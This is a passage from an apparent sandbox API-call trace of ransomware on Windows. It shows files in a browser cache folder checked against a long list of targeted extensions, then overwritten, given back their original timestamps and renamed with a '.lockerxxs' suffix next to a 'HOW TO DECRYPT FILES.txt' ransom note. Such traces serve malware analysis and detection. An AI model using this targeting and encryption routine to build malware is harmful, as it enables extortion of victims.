Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.710] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.710] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AA42eYr[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" [0082.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.ems") returned 0 [0082.710] lstrlenA (lpString="*.ems") returned 5 [0082.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.db") returned 0 [0082.710] lstrlenA (lpString="*.db") returned 4 [0082.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.dbf") returned 0 [0082.710] lstrlenA (lpString="*.dbf") returned 5 [0082.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.myox") returned 0 [0082.710] lstrlenA (lpString="*.myox") returned 6 [0082.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.myo") returned 0 [0082.710] lstrlenA (lpString="*.myo") returned 5 [0082.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.qbw") returned 0 [0082.710] lstrlenA (lpString="*.qbw") returned 5 [0082.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.qbb") returned 0 [0082.710] lstrlenA (lpString="*.qbb") returned 5 [0082.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.qbm") returned 0 [0082.710] lstrlenA (lpString="*.qbm") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.qbo") returned 0 [0082.711] lstrlenA (lpString="*.qbo") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.qbx") returned 0 [0082.711] lstrlenA (lpString="*.qbx") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.qba") returned 0 [0082.711] lstrlenA (lpString="*.qba") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.qby") returned 0 [0082.711] lstrlenA (lpString="*.qby") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.qbj") returned 0 [0082.711] lstrlenA (lpString="*.qbj") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.ofx") returned 0 [0082.711] lstrlenA (lpString="*.ofx") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.qif") returned 0 [0082.711] lstrlenA (lpString="*.qif") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.mye") returned 0 [0082.711] lstrlenA (lpString="*.mye") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.mbox") returned 0 [0082.711] lstrlenA (lpString="*.mbox") returned 6 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.eml") returned 0 [0082.711] lstrlenA (lpString="*.eml") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.pst") returned 0 [0082.711] lstrlenA (lpString="*.pst") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.ost") returned 0 [0082.711] lstrlenA (lpString="*.ost") returned 5 [0082.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.idx") returned 0 [0082.711] lstrlenA (lpString="*.idx") returned 5 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.dbx") returned 0 [0082.712] lstrlenA (lpString="*.dbx") returned 5 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.sql") returned 0 [0082.712] lstrlenA (lpString="*.sql") returned 5 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.mdb") returned 0 [0082.712] lstrlenA (lpString="*.mdb") returned 5 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.fdb") returned 0 [0082.712] lstrlenA (lpString="*.fdb") returned 5 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.wab") returned 0 [0082.712] lstrlenA (lpString="*.wab") returned 5 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.dat") returned 0 [0082.712] lstrlenA (lpString="*.dat") returned 5 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.txt") returned 0 [0082.712] lstrlenA (lpString="*.txt") returned 5 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.jpeg") returned 0 [0082.712] lstrlenA (lpString="*.jpeg") returned 6 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.jpg") returned 0 [0082.712] lstrlenA (lpString="*.jpg") returned 5 [0082.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", pszSpec="*.png") returned 1 [0082.712] lstrlenA (lpString="*.png") returned 5 [0082.712] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" [0082.712] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" [0082.713] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png." [0082.713] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png.lockerxxs" [0082.713] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.713] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2c2 [0082.713] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45a1fab0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45a1fab0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45a1fab0, dwHighDateTime=0x1d2faf3)) returned 1 [0082.714] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.714] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x29c, lpOverlapped=0x0) returned 1 [0082.715] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png") returned="AA42eYr[1].png" [0082.716] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.716] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x29c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x29c, lpOverlapped=0x0) returned 1 [0082.716] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.716] CloseHandle (hObject=0xa4) returned 1 [0082.716] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png.lockerxxs")) returned 1 [0082.717] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45bc29d0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AA61ILp[2].png", cAlternateFileName="AA61IL~2.PNG")) returned 1 [0082.717] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.717] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA61ILp[2].png") returned 1 [0082.717] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA61ILp[2].png") returned 1 [0082.718] lstrcmpiA (lpString1="", lpString2="AA61ILp[2].png") returned -1 [0082.718] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png") returned="AA42eYr[1].png" [0082.718] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.718] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.718] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.718] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.718] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AA61ILp[2].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" [0082.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.ems") returned 0 [0082.718] lstrlenA (lpString="*.ems") returned 5 [0082.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.db") returned 0 [0082.718] lstrlenA (lpString="*.db") returned 4 [0082.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.dbf") returned 0 [0082.718] lstrlenA (lpString="*.dbf") returned 5 [0082.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.myox") returned 0 [0082.718] lstrlenA (lpString="*.myox") returned 6 [0082.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.myo") returned 0 [0082.718] lstrlenA (lpString="*.myo") returned 5 [0082.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.qbw") returned 0 [0082.718] lstrlenA (lpString="*.qbw") returned 5 [0082.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.qbb") returned 0 [0082.719] lstrlenA (lpString="*.qbb") returned 5 [0082.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.qbm") returned 0 [0082.719] lstrlenA (lpString="*.qbm") returned 5 [0082.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.qbo") returned 0 [0082.719] lstrlenA (lpString="*.qbo") returned 5 [0082.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.qbx") returned 0 [0082.719] lstrlenA (lpString="*.qbx") returned 5 [0082.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.qba") returned 0 [0082.719] lstrlenA (lpString="*.qba") returned 5 [0082.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.qby") returned 0 [0082.719] lstrlenA (lpString="*.qby") returned 5 [0082.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.qbj") returned 0 [0082.719] lstrlenA (lpString="*.qbj") returned 5 [0082.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.ofx") returned 0 [0082.719] lstrlenA (lpString="*.ofx") returned 5 [0082.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.qif") returned 0 [0082.719] lstrlenA (lpString="*.qif") returned 5 [0082.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.mye") returned 0 [0082.720] lstrlenA (lpString="*.mye") returned 5 [0082.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.mbox") returned 0 [0082.720] lstrlenA (lpString="*.mbox") returned 6 [0082.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.eml") returned 0 [0082.720] lstrlenA (lpString="*.eml") returned 5 [0082.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.pst") returned 0 [0082.720] lstrlenA (lpString="*.pst") returned 5 [0082.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.ost") returned 0 [0082.720] lstrlenA (lpString="*.ost") returned 5 [0082.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.idx") returned 0 [0082.720] lstrlenA (lpString="*.idx") returned 5 [0082.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.dbx") returned 0 [0082.720] lstrlenA (lpString="*.dbx") returned 5 [0082.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.sql") returned 0 [0082.721] lstrlenA (lpString="*.sql") returned 5 [0082.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.mdb") returned 0 [0082.721] lstrlenA (lpString="*.mdb") returned 5 [0082.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.fdb") returned 0 [0082.721] lstrlenA (lpString="*.fdb") returned 5 [0082.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.wab") returned 0 [0082.721] lstrlenA (lpString="*.wab") returned 5 [0082.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png", pszSpec="*.dat") returned 0 [0082.721] lstrlenA (lpString="*.dat") returned 5 [0082.721] PathMatchSpecA 